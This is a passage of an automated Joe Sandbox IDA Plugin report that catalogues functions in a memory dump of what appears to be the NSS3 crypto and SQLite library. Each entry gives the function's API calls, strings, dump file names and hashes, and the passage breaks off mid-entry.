Part of subcall function 6C699430: SECOID_GetAlgorithmTag_Util.NSS3(00000000,?,?,00000000,00000000,?,6C677F0C,?,00000000,00000000,00000000,?), ref: 6C69943B
Part of subcall function 6C699430: SECOID_FindOIDByTag_Util.NSS3(00000000,?,?), ref: 6C69946B
Part of subcall function 6C699430: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6C699546

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C678110
PK11_FreeSymKey.NSS3(00000000), ref: 6C67811D
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6C67822D
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C67823C

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: K11_Util$FindItem_Tag_Zfree$ErrorFreeHashLookupPublicTable$AlgorithmConstDestroyImportMechanismPrivUnwrap
String ID:
API String ID: 1923011919-0
Opcode ID: deebd93e11272052c481ef51a14848e1538c3490c83d3ea2076653ebc3e53096
Instruction ID: 542c96c9b8b8a6a6398a678c1cf8716156fc3b1d7e938fcd7c3dfba8fa4d25ff
Opcode Fuzzy Hash: deebd93e11272052c481ef51a14848e1538c3490c83d3ea2076653ebc3e53096
Instruction Fuzzy Hash: 41C16DB1D002199BEB21CF24CC44BEAB7B8EB09308F0085E5E919B6651E7319E85CFA5

Function 6C5EAEC0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6C70CF46,?,6C5DCDBD,?,6C70BF31,?,?,?,?,?,?,?), ref: 6C5EB039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C70CF46,?,6C5DCDBD,?,6C70BF31), ref: 6C5EB090
sqlite3_free.NSS3(?,?,?,?,?,?,6C70CF46,?,6C5DCDBD,?,6C70BF31), ref: 6C5EB0A2
CloseHandle.KERNEL32(?,?,6C70CF46,?,6C5DCDBD,?,6C70BF31,?,?,?,?,?,?,?,?,?), ref: 6C5EB100
sqlite3_free.NSS3(?,?,00000002,?,6C70CF46,?,6C5DCDBD,?,6C70BF31,?,?,?,?,?,?,?), ref: 6C5EB115
sqlite3_free.NSS3(?,?,?,?,?,?,6C70CF46,?,6C5DCDBD,?,6C70BF31), ref: 6C5EB12D

Part of subcall function 6C5D9EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6C5EC6FD,?,?,?,?,6C63F965,00000000), ref: 6C5D9F0E
Part of subcall function 6C5D9EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C63F965,00000000), ref: 6C5D9F5D

Strings

`vl, xrefs: 6C5EB0DF

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID: `vl
API String ID: 3155957115-2789490299
Opcode ID: ddbe366c2cbb9b2ea160f4e1a5ccc63e3dbbc472375d02a24c38e2dd1fc03ccf
Instruction ID: 1f079da992d96c6292bd472e2e837e70d05ca1491dd5efe13bca217fb5519648
Opcode Fuzzy Hash: ddbe366c2cbb9b2ea160f4e1a5ccc63e3dbbc472375d02a24c38e2dd1fc03ccf
Instruction Fuzzy Hash: F591CEB4A043068FDB04DF79DC84A6BBBB1FF49309F244A2DE46697A50EB31E840CB55

Function 6C680EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6C680F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C680FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6C681006
PK11_FreeSymKey.NSS3(?), ref: 6C68101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C681033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C68103F
PK11_FreeSymKey.NSS3(00000000), ref: 6C681048
memcpy.VCRUNTIME140(?,?,?), ref: 6C68108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C6810BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6C6810D6
memcpy.VCRUNTIME140(?,?,?), ref: 6C68112E

Part of subcall function 6C681570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6C6808C4,?,?), ref: 6C6815B8
Part of subcall function 6C681570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6C6808C4,?,?), ref: 6C6815C1
Part of subcall function 6C681570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C68162E
Part of subcall function 6C681570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C681637

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: 1354f8e01301963eb30da1650430bc72c0cf8eb80e1e7f2137106df36f18db51
Instruction ID: 95a798cc19985e93efad62055b12a8c0e60b08f783d87ea23fae4b9588c79c78
Opcode Fuzzy Hash: 1354f8e01301963eb30da1650430bc72c0cf8eb80e1e7f2137106df36f18db51
Instruction Fuzzy Hash: 9971D2B1E012058FDB00CFA5CD84AAAB7F4BF44318F14862DE92997B11EB71D945CBA9

Function 6C6A1CE0 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 401COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000020), ref: 6C6A1F19
memcpy.VCRUNTIME140(?,?,00000020), ref: 6C6A2166
memcpy.VCRUNTIME140(?,?,00000010), ref: 6C6A228F
memcpy.VCRUNTIME140(?,?,00000010), ref: 6C6A23B8
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6A241C

Strings

manufacturer, xrefs: 6C6A2179
model, xrefs: 6C6A23CB, 6C6A23EC
token, xrefs: 6C6A1F2C
serial, xrefs: 6C6A22A2

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpy$Error
String ID: manufacturer$model$serial$token
API String ID: 3204416626-1906384322
Opcode ID: c75229a968ee1baa67743178ed27d22881e49595df364184de0840e7f16c2251
Instruction ID: 129f8d7a90af96d4669e3ad1971f843630a0ff160582bb01c20f31e91ab1252c
Opcode Fuzzy Hash: c75229a968ee1baa67743178ed27d22881e49595df364184de0840e7f16c2251
Instruction Fuzzy Hash: DA02E3A2D4C7C85EF73186B2C44C7D77BE09B46328F4C166DCADE46A83C3A85D4A8359

Function 6C5E0FE0 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6C5DCA30: EnterCriticalSection.KERNEL32(?,?,?,6C63F9C9,?,6C63F4DA,6C63F9C9,?,?,6C60369A), ref: 6C5DCA7A
Part of subcall function 6C5DCA30: LeaveCriticalSection.KERNEL32(?), ref: 6C5DCB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6C5E103E
EnterCriticalSection.KERNEL32(?), ref: 6C5E1139
LeaveCriticalSection.KERNEL32(?), ref: 6C5E1190
sqlite3_free.NSS3(00000000), ref: 6C5E1227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6C5E126E
sqlite3_free.NSS3(?), ref: 6C5E127F

Strings

Pvl, xrefs: 6C5E109E
winAccess, xrefs: 6C5E129B
delayed %dms for lock/sharing conflict at line %d, xrefs: 6C5E1267

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: Pvl$delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-1044067139
Opcode ID: 525564954e9bd7f03e2deb53aa52a786e5f8bf63f95a7dfdedc92532454f0f06
Instruction ID: 6ccc7dfa9a04c45e61262b8c38f5000a6acb006276e5f16995ce397449083123
Opcode Fuzzy Hash: 525564954e9bd7f03e2deb53aa52a786e5f8bf63f95a7dfdedc92532454f0f06
Instruction Fuzzy Hash: BB711B327052059BEB08DF65EC99E6F3376FB8A314F140639E91587A81DB30D901C796

Function 6C6A6C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C651C6F,00000000,00000004,?,?), ref: 6C6A6C3F

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6C651C6F,00000000,00000004,?,?), ref: 6C6A6C60
PR_ExplodeTime.NSS3(00000000,6C651C6F,?,?,?,?,?,00000000,00000000,00000000,?,6C651C6F,00000000,00000004,?,?), ref: 6C6A6C94

Strings

gfff, xrefs: 6C6A6CFD
gfff, xrefs: 6C6A6CF5
gfff, xrefs: 6C6A6D66
gfff, xrefs: 6C6A6D9C
gfff, xrefs: 6C6A6D30

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: aba68cd10a948fc1c383e9bae302edfacc66bc076a77ce3886d841fe09aeea80
Instruction ID: bfa5ba7393045762ceca7a11ea0f79cdad9d0bbaec1f4d2ca55331b14f21ce55
Opcode Fuzzy Hash: aba68cd10a948fc1c383e9bae302edfacc66bc076a77ce3886d841fe09aeea80
Instruction Fuzzy Hash: 2D513B72B016494FC718CDADDC526DEBBDAABA4310F48C23AE442DB781D678E907C751

Function 6C720F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6C721027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C7210B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C721353

Strings

$, xrefs: 6C7212A0
zeroblob(%d), xrefs: 6C721223
NULL, xrefs: 6C72119E
%02x, xrefs: 6C7212F6
-- , xrefs: 6C720FF5
'%.*q', xrefs: 6C721217, 6C721292
%lld, xrefs: 6C72114B

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: e7f86b1858f55d24d3e0a4d5795d4c769c4e9257d7c6f0858bf0e255bfac255a
Instruction ID: 8d4b4602e6f5adf40dce6319e0dd2786b8ed0010a3d3955245da7eeca769723a
Opcode Fuzzy Hash: e7f86b1858f55d24d3e0a4d5795d4c769c4e9257d7c6f0858bf0e255bfac255a
Instruction Fuzzy Hash: A4E1AF71A083809FD714CF18C580A6BBBF2BF86348F14896DF98587B51E776E949CB42

Function 6C728FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C728FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7290DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C729118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C72915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7291C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C729209

Strings

UUUU, xrefs: 6C729255
3333, xrefs: 6C72925E

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: 27e5d9f35e966f13c94544c034b79f3a96c400b6a6a0daabe985fd4b5f1c65fa
Instruction ID: ca43001c1552c6310601ab2ec2131d25f488031a765146947e29eabf5207f86f
Opcode Fuzzy Hash: 27e5d9f35e966f13c94544c034b79f3a96c400b6a6a0daabe985fd4b5f1c65fa
Instruction Fuzzy Hash: EAA1AF72E001199BDB18CB69CD94BAEB7B5BF48324F0D4179E905A7741E73AEC41CBA0

Function 6C6BBD30 Relevance: 13.6, APIs: 9, Instructions: 102COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6C6BBD48
NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6C6BBD68
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6C6BBD83
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6C6BBD9E
NSS_GetAlgorithmPolicy.NSS3(0000000A,?), ref: 6C6BBDB9
NSS_GetAlgorithmPolicy.NSS3(00000007,?), ref: 6C6BBDD0
NSS_GetAlgorithmPolicy.NSS3(000000B8,?), ref: 6C6BBDEA
NSS_GetAlgorithmPolicy.NSS3(000000BA,?), ref: 6C6BBE04
NSS_GetAlgorithmPolicy.NSS3(000000BC,?), ref: 6C6BBE1E

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: AlgorithmPolicy
String ID:
API String ID: 2721248240-0
Opcode ID: 6ae4941ee0a59ce149e0c278e3d5340babb9381ae6f459fac285b05702f46cc3
Instruction ID: 684709cdf9758d2a7de0aa46fab8fd89bce89715d029ac9f91987e134704ab9a
Opcode Fuzzy Hash: 6ae4941ee0a59ce149e0c278e3d5340babb9381ae6f459fac285b05702f46cc3
Instruction Fuzzy Hash: 6A21E1B6E0028957FB1096529D82B8F36B49BD278DF080028F916BE651E330D43983AE

Function 6C768D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C7B14E4,6C71CC70), ref: 6C768D47
PR_GetCurrentThread.NSS3 ref: 6C768D98

Part of subcall function 6C640F00: PR_GetPageSize.NSS3(6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000,?,6C5D204A), ref: 6C640F1B
Part of subcall function 6C640F00: PR_NewLogModule.NSS3(clock,6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000,?,6C5D204A), ref: 6C640F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6C768E7B
htons.WSOCK32(?), ref: 6C768EDB
PR_GetCurrentThread.NSS3 ref: 6C768F99
PR_GetCurrentThread.NSS3 ref: 6C76910A

Strings

%u.%u.%u.%u, xrefs: 6C768E74

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 75ece2b55c2a005b5f29418a1df9ed47630a8b9911767235f65f295ad47b7d07
Instruction ID: a688033dd2a9626c58d3a350f83fa3dd53b4546242942edabbf2c0b38265c32d
Opcode Fuzzy Hash: 75ece2b55c2a005b5f29418a1df9ed47630a8b9911767235f65f295ad47b7d07
Instruction Fuzzy Hash: C502BA319052518FDB18CF1AC6687AABBB2EF53354F29826ACC915FF92C331D949C790

Function 6C5EEFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

sqlite_temp_master, xrefs: 6C5EF0A6, 6C5EF2D5
view, xrefs: 6C5EF061, 6C5EF071, 6C5EFAB7
not authorized, xrefs: 6C5EF957, 6C5EF9BA
temporary table name must be unqualified, xrefs: 6C5EF734
authorizer malfunction, xrefs: 6C5EF95C, 6C5EF9BF, 6C5EFA5E, 6C5EFA8B
table, xrefs: 6C5EF05C, 6C5EFABC, 6C5EFAC7
there is already an index named %s, xrefs: 6C5EF9D7
sqlite_master, xrefs: 6C5EF0AB, 6C5EF2DA, 6C5EF757, 6C5EF93E
%s %T already exists, xrefs: 6C5EFAC8

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: e9093df05d8465b220e44f2272e121f4dffe5c0cbb086d4787ef28cea9eb10aa
Instruction ID: ba198bc7c99a3ec51f1c9b15177747398e5c32bc2b642da92c7e81c1bf2448bb
Opcode Fuzzy Hash: e9093df05d8465b220e44f2272e121f4dffe5c0cbb086d4787ef28cea9eb10aa
Instruction Fuzzy Hash: A672A170E04205CFDB14CF68D884BA9BBF1BF8D308F1582A9D9159BB52DB75E845CB90

Function 6C709C40 Relevance: 11.1, APIs: 3, Strings: 3, Instructions: 565COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,6C5DC52B), ref: 6C709D53
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014960,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C70A035
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000149AD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C70A114

Strings

database corruption, xrefs: 6C70A029, 6C70A108
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C70A01F, 6C70A0E4, 6C70A0FE
%s at line %d of [%.10s], xrefs: 6C70A02E, 6C70A10D

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_log$memcmp
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 717804543-598938438
Opcode ID: 747237dc559f40ec3941e525ad7918c223b52519af00ca98d711597c5593ab93
Instruction ID: 43ffb86fb7cbbf5141caa6ef2098450fc71ef5129500bb174d74d3212fea0419
Opcode Fuzzy Hash: 747237dc559f40ec3941e525ad7918c223b52519af00ca98d711597c5593ab93
Instruction Fuzzy Hash: 6822ACB17083419FC704CF29C69062ABBE1BFDA354F148A3DE9DA97A52D731E845CB42

Function 6C729D90 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 237COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,6C5E8637,?,?), ref: 6C729E88
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011166,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,?,?,6C5E8637), ref: 6C729ED6

Strings

database corruption, xrefs: 6C729ECA
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C729EC0
%s at line %d of [%.10s], xrefs: 6C729ECF

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

